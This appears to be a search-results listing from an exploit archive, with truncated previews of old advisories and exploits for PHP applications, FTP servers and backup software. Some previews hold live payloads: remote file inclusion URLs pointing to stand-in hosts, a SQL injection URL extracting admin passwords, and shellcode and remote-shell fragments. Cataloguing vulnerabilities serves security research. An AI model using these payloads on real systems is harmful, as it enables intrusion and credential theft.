527 matches found
Knusperleicht Quickie Quick_Path远程文件包含漏洞
Knusperleicht Quickie是一款基于PHP的WEB应用程序。 Knusperleicht Quickie不正确过滤用户提交的URI数据，远程攻击者可以利用漏洞以WEB进程权限执行任意命令。 问题是'quickie.php'脚本对用户提交的"QUICKPATH"参数缺少过滤，提交恶意的远程服务器作为包含对象，可导致以WEB进程权限执行任意PHP代码。 Knusperleicht Quickie http://knusperleicht.at/index.php?knuspi=Quickie...
mxBB Module calsnails 1.06 - 'mx_common.php' File Inclusion
mxBB calsnails module 1.06 Remote File Inclusion Vulnerability Bugfounder: bd0rk || SOH-Crew Website: www.soh-crew.it.tt Gr33tings: nukedx, DeeJay, TheJT, str0ke Mod-Download: http://www.mx-system.com/modules/mxpafiledb/dload.php?action=download&fileid=21 Vulnerable Code: includeonce$modulerootpa...
toendaCMS103.txt
Iranians Are The Bests ToendaCMS Descriptions Script.............. : ToendaCMS Discovered By.... : YouYou Risk : High Class.............. : Remote Special Thanx To All Aria-Security's Administrators ----------------------------------------------------------------------------------- Source :...
Hosting Controller 1.x - error.asp Cross-Site Scripting
Hosting Controller 1.x - error.asp Cross-Site Scripting source: https://www.securityfocus.com/bid/18933/info Hosting Controller is prone to a cross-site scripting vulnerability because it fails to sanitize input before displaying it to users of the application. An attacker may leverage this issue...
Novell Messenger Server 2.0 - 'Accept-Language' Remote Overflow (Metasploit)
This file is part of the Metasploit Framework and may be redistributed according to the licenses defined in the Authors field below. In the case of an unknown or missing license, this file defaults to the same license as the core Framework dual GPLv2 and Artistic. The latest version of the...
SZUserMgnt 1.4 - Username SQL Injection
SZUserMgnt 1.4 - Username SQL Injection source: https://www.securityfocus.com/bid/16454/info SZUserMgnt is prone to an SQL-injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query. Successful exploitation...
Xmame 0.102 - '-pb/-lang/-rec' Local Buffer Overflow
/ xmame-expl.c by sj [email protected] On 20th of Jan it came to my attention that Xmame suffered from several buffer overflow problems. Thinking this issue was resolved, I installed Xmame on my Ubuntu laptop, from the Ubuntu repositories which installed a vulnerable version of Xmame. This is what...
Cerberus FTP Server <= 2.32 Denial of Service Exploit
Exploit for unknown platform in category dos / poc ===================================================== Cerberus FTP Server include include include include define POCSTR "%s" int header; int usagechar filename; int remoteconnect char ip, unsigned short port ; int header printf"\ni KAPDA - Comput...
simplebbs exploit-vulnerability warning-the black bar safety net
Go from: blog.56bug.org See the article, see do not understand to the authors the following animation Today show you simplebbs exploit to get shell method,and vulnerabilities related to the use of tools Looking for target:google inside search Powered by SimpleBBS you will find many This forum can...
Buffer Overrun In HTML Converter Could Allow Code Execution (823559)
There is a flaw in the way the HTML converter for Microsoft Windows handles a conversion request during a cut-and-paste operation. This flaw causes a security vulnerability to exist. A specially crafted request to the HTML converter could cause the converter to fail in such a way that it could...
PHP Advanced Transfer Manager 1.30 - Remote Unauthorized Access
source: https://www.securityfocus.com/bid/15237/info PHP Advanced Transfer Manager can allow remote attackers to gain unauthorized access. Access to sensitive files containing authentication credentials is not restricted, therefore an attacker can simply issue a GET request to obtain a user's...
Veritas NetBackup <= 6.0 (bpjava-msvc) Remote Exploit (linux)
Exploit for multiple platform in category remote exploits ============================================================= Veritas NetBackup \n\n"; exit 1; my $hostName = $ARGV0; my $port = $ARGV1 || 13722; buildexploit $hostName, $port; my $shellport = 5570; print " Connect to remote shell port\n";...
pafaq.pl.txt
!/usr/bin/perl -w paFaq 1.0 Add Administrator PoC // By James // http://www.gulftech.org use LWP::UserAgent; Set up the LWP User Agent $ua = new LWP::UserAgent; $ua-agent"paFaq Hash Grabber v1.0"; if !$ARGV0 print "Usage : pafaq.pl http://path/to/pafaq"; exit; my $keytime = time; my $dbmpath =...
all4www_homepagecreator.txt
Script: All4WWW-Homepagecreator Version: v1.0a Vendor: http://www.All4WWW.com I. Bug Code On index.php ... if!$site $site="home"; include "$site.dat"; ... II. Exploit vuln-host/index.php?site=http://host/some-file PS.: The vendor wasn't inform. by DominusVis Infektion Group...
GNU Core Utilities race condition file-permissions vulnerability Software: mkdir, mknod, mkfifo Version: Part of GNU Core Utilities 5.2.1
================================ GNU Core Utilities race condition file-permissions vulnerability ================================ Software: mkdir, mknod, mkfifo Version: Part of GNU Core Utilities 5.2.1 Software URL: http://www.gnu.org/software/coreutils/ Platform: Unix, Linux. Vulnerability typ...
PHP Form Mail 2.3 Arbitrary File Inclusion
No description provided by source. Example: if registerglobals=on and allowurlfopen=on: http://victim/dir/inc/formmail.inc.php?scriptroot=http://hackerbox/ milw0rm.com 2005-03-05...
webconnect 6.4.4 < 6.5 - Directory Traversal / Denial of Service
WebConnect version 6.4.4 - 6.5 Proof of Concept Coded bY ++Karak0rsan++ [email protected] Usage:perl webconnect.pl target port Default port: 2080 Greetz:hurby,phalaposher,r3db4r0n,L4M3R,zeronc,Atak,sloan,emre, fox and all my friends Konak Anatolian High School - Prep/C Class Sen kendini...
mercuryboard.1.1.1.txt
little late posting this /str0ke Exploit: http://www.site.com/mercuryboard/index.php?a=post&s=reply&t=1&qu=10000%20UNION%20SELECT%20userpassword,username%20from%20mbusers%20where%20usergroup%20=%201%20limit%201/...
CA BrightStor ARCserve Backup - Remote Buffer Overflow (PoC)
CA BrightStor ARCserve Backup - Remote Buffer Overflow PoC / BrightStor ARCserve Backup buffer overflow PoC [email protected] / include include include include include include define RED "\E31m\E1m" define GREEN "\E32m\E1m" define YELLOW "\E33m\E1m" define BLUE "\E34m\E1m" define NORMAL "\Em"...
Ability Server <= 2.34 Remote APPE Buffer Overflow Exploit
Exploit for unknown platform in category remote exploits ========================================================== Ability Server include include include // shellc0de by m00 team bind 61200 char shellcode= "\x90\x90\x90\x90\x90\xEB\x0F\x58\x80\x30\xBB\x40\x81\x38\x6D"...